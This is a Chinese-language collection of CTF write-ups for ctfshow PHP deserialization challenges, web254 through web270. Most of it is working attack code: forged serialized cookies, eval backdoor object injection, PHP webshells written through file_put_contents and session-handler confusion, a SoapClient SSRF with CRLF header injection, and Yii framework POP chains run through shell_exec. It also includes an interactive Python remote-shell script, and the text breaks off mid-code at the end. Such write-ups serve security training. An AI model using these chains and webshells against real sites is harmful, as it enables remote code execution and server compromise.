反序列化 全部
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
username=xxxxxx&password=xxxxxx
这里这道题很简单,类里写了 username和 password 是 xxxxxx 直接传就行 这里可能有点坑的地方就是可能会把 xxxxxx 当作不显示的值
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
开始有反序列化,主要就是$isVip的值需要为true
所以我们可以序列化一个ctfShowUser的实例,将其中的$isVip更改为true
通过cookie传递序列化字符串就可以了,记得序列化字符串要进行url编码
生成序列化字符串
<?php
class ctfShowUser{
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
payload
GET username=xxxxxx&password=xxxxxx
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
第一次尝试反序列化,简单写一下 //get传的参数在这里定义一下 $username=xxxxxx; $password=xxxxxx;
if(isset($username) && isset($password)){ //$user = unserialize($_COOKIE['user']);
$user = new ctfShowUser();//构造一个类,由于是isvip是public的权限,后面直接让它是true就行
$user->isVip=true;
if($user->login($username,$password)){
if($user->checkVip()){
// $user->vipOneKeyGetFlag();
echo urlencode(serialize($user)); //这里将构造的序列化并且url编码
}
}else{
echo "no vip,no flag";
}
}
记得把cookie传参中的序列化值url编码 把这个类放到本地环境执行 类似如下
把 isVip 是 true 值的序列化值留下来 题目里面要传 ?username=xxxxxx&password=xxxxxx 这里同上一题 然后cookie里 user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D 这里必须 url 编码,不然识别不到
// 序列化
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}
// 修改 isVip 为 1
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
// 进行URL编码
?username=xxxxxx&password=xxxxxx
Cookie: user=URL编码结果
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
多了一步对username和password的判断,要求不想等
只要在实例化对象里修改两个属性的值就可以
<?php
class ctfShowUser{
public $isVip=true;
public $username='Ki1ro';
public $password='xxxxxx';
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
payload
GET username=Ki1ro&password=xxxxxx
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
虽然我们不能改变类方法,但我们可以改变类的属性
我们可以将class修改的值修改为一个backDoor对象,对backDoor类中的code属性进行赋值来达到rce
username和password只需要存在即可
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='eval($_POST[Ki1ro]);';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
payload
GET username=1&password=2
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A20%3A%22eval%28%24_POST%5BKi1ro%5D%29%3B%22%3B%7D%7D
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
对形如O:8:进行了过滤,我们可以在数字前加上加号绕过
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);//绕过preg_match
echo urlencode($a);
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
Notice: Undefined index: vip in /var/www/html/index.php on line 6
Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8
web259-php原生类
这里考php的原生类SoapClient https://www.php.net/manual/en/class.soapclient.php
这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
bp抓包
分析flag.php代码 $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); //从 HTTP 头中 HTTP_X_FORWARDED_FOR 中获取 IP 地址列表,并使用逗号分割成一个数组。
array_pop($xff); //函数删除数组中的最后一个元素并返回其值。 $ip = array_pop($xff); //从 IP 地址列表数组中弹出最后一个元素,并将其存储在 $ip 变量中。
补充 在HTTP协议报文中X-Forwarded-For 用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。(可以是多个地址) 格式 X-Forwarded-For: , ,
所以要跳过die 只需要bp抓包添加头 X-Forwarded-For: 127.0.0.1,127.0.0.1 然后post token = ctfshow访问flag.txt即可
// dirsearch 目录扫描发现 flag.php
// 访问测试后发现需要本地访问
// 反序列化之后调用 getFlag() 方法
// 没有 getFlag() 方法则会调用 __call() 方法
// 查看有哪些原生类有 __call() 方法
// 尝试使用原生类 SoapClient 来本地访问 flag.php
<?php
$ua = "Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null, array(
'uri' => '127.0.0.1',
'location' => 'http://127.0.0.1/flag.php',
'user_agent' => $ua
));
echo urlencode(serialize($client));
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这里就是传的值序列化后含有ctfshow_i_love_36D
直接get传参ctfshow=ctfshow_i_love_36D就可以了
web260
这道题应该由是考的正则和基础序列化的理解。 对于get到的字符串进行序列化,里面会有字符串。 可以找一个在线php网站,比如:
https://code.y444.cn/php
尝试左侧输入:
<?php
$a='ctfshow_i_love_36D';
var_dump(serialize($a));
看看右侧输出什么就可以理解了。
?ctfshow=O:18:"ctfshow_i_love_36D":0:{}
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。 我们不需要考虑__wakeup,__invoke是类被进行函数调用时启用,也无法利用到,所以我直接看看能不能写入文件。
0x36d十进制就等于877,因为是弱类型比较,像877a等都可以通过,所以我们用username='877.php',password=''。
将木马写入877.php,访问877.php就可以进行rce了
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a = new ctfshowvip('877.php','<?php eval($_POST[Ki1ro]) ?>');
echo urlencode(serialize($a));
在file_put_contents处写shell 如下:
];
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$s = serialize(new ctfshowvip); var_dump(urlencode($s)); ?>
// PHP 7.4.0 起
// 如果存在 __unserialize 方法则会绕过 __wakeup 方法
// 目标是执行 file_put_contents
// 使 code==0x36d 为真
// 反序列化后调用 __destruct 方法
// 反序列化前调用 __unserialize 方法
username: 877.php
password: <?=@eval($_GET[1])?>
code: 877.php<?=@eval($_GET[1])?>
// 弱类型比较 877.php<?=@eval($_GET[1])?> == 0x36d
O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:20:"<?=@eval($_GET[1])?>";}
877.php?1=system("cat /flag_is_here");
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
web262-字符串逃逸
注释里告诉我们message.php,要求我们的token为admin
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
该题运用反序列化字符串逃逸,运用的思想跟sql注入的闭合相似
我们这里有一个序列化字符串,我们要改变token属性,但我们无法直接控制它的值。
我们只能给from,msg,to传递值,即这三个属性是可控的
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
假如我们向to属性传递 t=3";s:5:"token";s:5:"admin";} 字符串就变为了下面这样
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:27:"3";s:5:"token";s:4:"user";}";s:5:"token";s:5:"admin";}
我们对字符串进来了闭合,这样我们就可以控制token属性的值了,但我们也会发现一点,to属性值的长度变为了27。
反序列化时,如果为27则会匹配后面27个字符,这样闭合就没有效果。
这时候题目中的替换字符函数可以帮助到我们
$umsg = str_replace('fuck', 'loveU', serialize($msg));
str_replace会将fuck替换为loveU,且替换是在序列化之后进行的,也就是说,实际字符串长度增加了1,但标明的字符串长度任然为原值
// 替换前
s:2:"to";s:4:"fuck";
// 替换后
s:2:"to";s:4:"loveU";
通过这种方法,我们就可以凭空增加字符,来成功进行闭合
// t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
// 后面多出27个字符,所以我们写27个fuck,替换为loveU后,增加了27个字符,来达到字符串逃逸
最终我们的payload为
f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
我们可以看到我们需要将cookie中的msg值设置正确才能拿到flag。首先要保证的就是base64解码后的msg可以被反序列化,并且反序列化后的对象的token值是admin。这里我们不能直接传入反序列化的对象,需要根据index.php中的代码来构造。我们可控的是f,m,t。
正常情况下,如果我们分别给f、m、t传入a时message序列化后长这样:
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"a";s:2:"to";s:1:"a";s:5:"token";s:4:"user";}
我们传入的f变成了from,m变成了msg,t变成了to,这里要用到字符串逃逸,也就是通过传入的值来闭合序列化对象。我们最终的目的是要构造token的值为admin,我们就需要用";s:5:"token";s:5:"admin";}来闭合对象将后面的都抛弃掉,这里一共27个字符,我们传入的值中如果包含fuck就回替换成loveu,因此需要传入27个fuck,实现字符串逃逸。
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php即可得到flag。
此题还有一个非预期的解,应该是出题人没考虑到的,那就是用bp抓包,然后直接修改cookie也可以拿到flag。
查看源码,发现替换后会多一个字符,也就是说每增加一段fuck就可以逃逸一个字符,将原来的类设置msg值设置为fuck其他随意,我设置的类如下: O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:4:"fuck";s:2:"to";s:3:"321";s:5:"token";s:4:"user";} 那么我们要逃逸的字符串就是";s:2:"to";s:3:"321";s:5:"token";s:4:"user";}这一部分 共有45个字符,那么将msg内容设置为45个fuck然后在后面加上这一串";s:2:"to";s:3:"321";s:5:"token";s:4:"user";}就可以将这串字符串替换原来的这串字符串成为新的反序列化字符串。 提交参数后会给出一个cookie,如果cookie正常反序列化成功的话就可以得到message.php中的flag
web263
访问/www.zip得到源码,有点多
/inc/inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
web263-session反序列化漏洞
本题考查session反序列话漏洞
相关讲解 https://www.jb51.net/article/116246.htm
我们登录进去只有一个登录页面和check.php
用dirsearch扫一下,发现www.zip文件,访问下载下来是网站源码。
代码审计后主要有几个关键区域。
在index.php 我们发现$_SESSION['limit']我们可以进行控制
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
flag在flag.php处,目测需要rce
$flag="flag_here";
inc.php 设置了session的序列化引擎为php,很有可能说明默认使用的是php_serialize
ini_set('session.serialize_handler', 'php');
并且inc.php中有一个User类的__destruct含有file_put_contents函数,并且username和password可控,可以进行文件包含geshell
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
开始构造EXP,生成payload
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
$a = new User('1.php', '<?php eval($_POST[Ki1ro]) ?>');
$a->setStatus('成功');
echo base64_encode('|'.serialize($a));
?>
在开发者工具的控制台替换cookie
document.cookie='limit=
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyODoiPD9waHAgZXZhbCgkX1BPU1RbS2kxcm9dKSA/PiI7czo2OiJzdGF0dXMiO3M6Njoi5oiQ5YqfIjt9
'
访问index.php改写$_SESSION['limit']
再访问inc/inc.php触发会话,将shell写入log-1.php
最后访问log-1.php传参获取flag
POST Ki1ro=system("tac flag.php")
session反序列化---含坑点
扫描发现www.zip,审计源码发现/inc/inc.php中存在User类,__destruct方法会写文件,那么可以构造序列化写个马
inc.php中有一句ini_set('session.serialize_handler', 'php');
所以大胆猜测php.ini中配置的处理器应该是php_serialize,那么只需要在其他有session_start()函数的地方写值就能被inc.php加载并反序列化了
刚好发现index,php中cookie中的limit参数可控,所以很明显了。构造马序列化,然后传参给limit,在index.php提交,然后让/inc/inc.php加载并触发反序列化,写入马成功
将以下字符串传入cookie的limit中
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJjLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4iO3M6Njoic3RhdHVzIjtpOjE7fQ==
如:
Cookie: PHPSESSID=9cl8obol8m7ra1hsuu01hsc4sj; limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJjLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4iO3M6Njoic3RhdHVzIjtpOjE7fQ==
访问/inc/inc.php,可以用burp加上session
Cookie: PHPSESSID=9cl8obol8m7ra1hsuu01hsc4sj
访问/log-c.php?1=system('tac+flag*');
flag在同级目录下
坑点
马中不能含有引号,测试了两个小时找不到原因...
如果创建马失败了,会在inc/目录下创建一个文件,导致我一直以为马的正确目录是inc/,实际上是在网站根目录下,浪费大量时间排查是不是哪里有过滤或者格式错误...
写入index.php的limit参数时,需要访问两次,响应头不含setcookie才行,审计源码就能发现原因了,第一次只会触发setcookie的分支。
<?php
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
字符串逃逸
token是最后一个成员变量,所以位置在最后边
";s:5:"token";s:5:"admin";}
用以上代码闭合字符串,计算长度为27,所以需要27个fuck
所以t的参数为
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
提交即可,然后访问message.php拿到flag
注意访问message.php要记得带上msg的cookie,可以用burp在cookie末尾加上分号然后加上msg=1,不要影响session就行
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
web265-按地址传参
考察php按地址传参
例如
$a = 'Ki1ro';
$b = &$a; // 这样相当于把&a指向的地址传给了&b
$a = '1' // 当&a的值发生改变,$b也会发生改变
EXP
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin(1,2);
$a->password = &$a->token;
echo urlencode(serialize($a));
payload
?ctfshow=
O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bi%3A1%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
php指针引用
php序列化中大写字母R代表引用类型,值为一个数字,指示是从根开始的、也就是从对象本身开始的第几个项目,从1开始数,如果要引用对象本身,序列化后为R:1;如果要引用对象内第一个元素,序列化后则为R:2。不论变量间是如何互相引用的,在序列化过程中php无从得知,php只知道哪几个值的地址一模一样,所以php只会将最先出现的值记录下来,后续出现有相同地址的变量就将其值描述为对它的引用。
因此此题可以写出下列序列化字符串,代表password会共享token的地址:
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
urlencode以后get传参给ctfshow即可得到flag
web266
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
O:7:"Ctfshow":2:{s:8:"username";i:1;s:8:"password";i:2;}
web267
有点麻烦
web267-Yii反序列化漏洞
先弱密码登录 用户名admin 密码 admin
查看aobut页面源码,发现view-source提示
加上view-source
?r=site%2Fabout&view-source
发现后门,可以利用反序列化漏洞
该pop链的生成细节 https://blog.csdn.net/cosmoslin/article/details/120612714
pop链
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'cat /flag | tee 1'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
这里是indexAction类有一个run方法,将属性checkAccess和id传给了call_user_fun造成命令执行
但用system不知道为什么没有回显,所以我用shell_exec再用tee将输出复制到1文件中,访问1就可以显示
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
payload
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YV
JlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaV
xyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNzoiY2F0IC9mbGFnIHwgdGVlID
EiO31pOjE7czozOiJydW4iO319fX0=
yii2.0.14反序列化漏洞
序列化poc
<?php
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct()
{
$this->default = "ls";
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct()
{
$this -> generator = new DefaultGenerator();
$this -> validator = "shell_exec";
$this -> maxRetries = 1;
}
}
}
namespace Codeception\Extension {
use Faker\ValidGenerator;
class RunProcess{
private $processes;
public function __construct()
{
$this -> processes = [new ValidGenerator()];
}
}
}
namespace app\controllers {
use Codeception\Extension\RunProcess;
$a = new RunProcess();
$res = serialize($a);
echo base64_encode($res);
}
一键脚本
import requests, base64, time
def round(command: str, arg: str):
url = "http://b491d895-d559-480c-9452-755528e4a4d7.challenge.ctf.show/" # 以/结尾
payload = b'O:32:"Codeception\\Extension\\RunProcess":1:{s:43:"\x00Codeception\\Extension\\RunProcess\x00processes";a:1:{i:0;O:20:"Faker\\ValidGenerator":3:{s:12:"\x00*\x00generator";O:22:"Faker\\DefaultGenerator":1:{s:10:"\x00*\x00default";s:arg_l:"arg";}s:12:"\x00*\x00validator";s:function_l:"function";s:13:"\x00*\x00maxRetries";i:1;}}}'
payload = payload.replace(b"function_l", str(len(command)).encode())
payload = payload.replace(b"function", command.encode())
payload = payload.replace(b"arg_l", str(len(arg)).encode())
payload = payload.replace(b"arg", arg.encode())
params = {"r": "/backdoor/shell", "code": base64.b64encode(payload).decode()}
while True:
try:
resp = requests.get(url+"index.php", params=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "shell_exec"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
res = round(command, arg + " | tee 1")
print(res[:-1])
可以使用的函数 passthru("tac /flag"); highlight_file("/flag")
web268
和web267类似
web268
之前的链子失效了,换一个链子
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'cat /flags | tee 1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
web269
和web267类似
上一题poc依旧有效
web270
和web267类似
web270
又失效了,再换一条
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
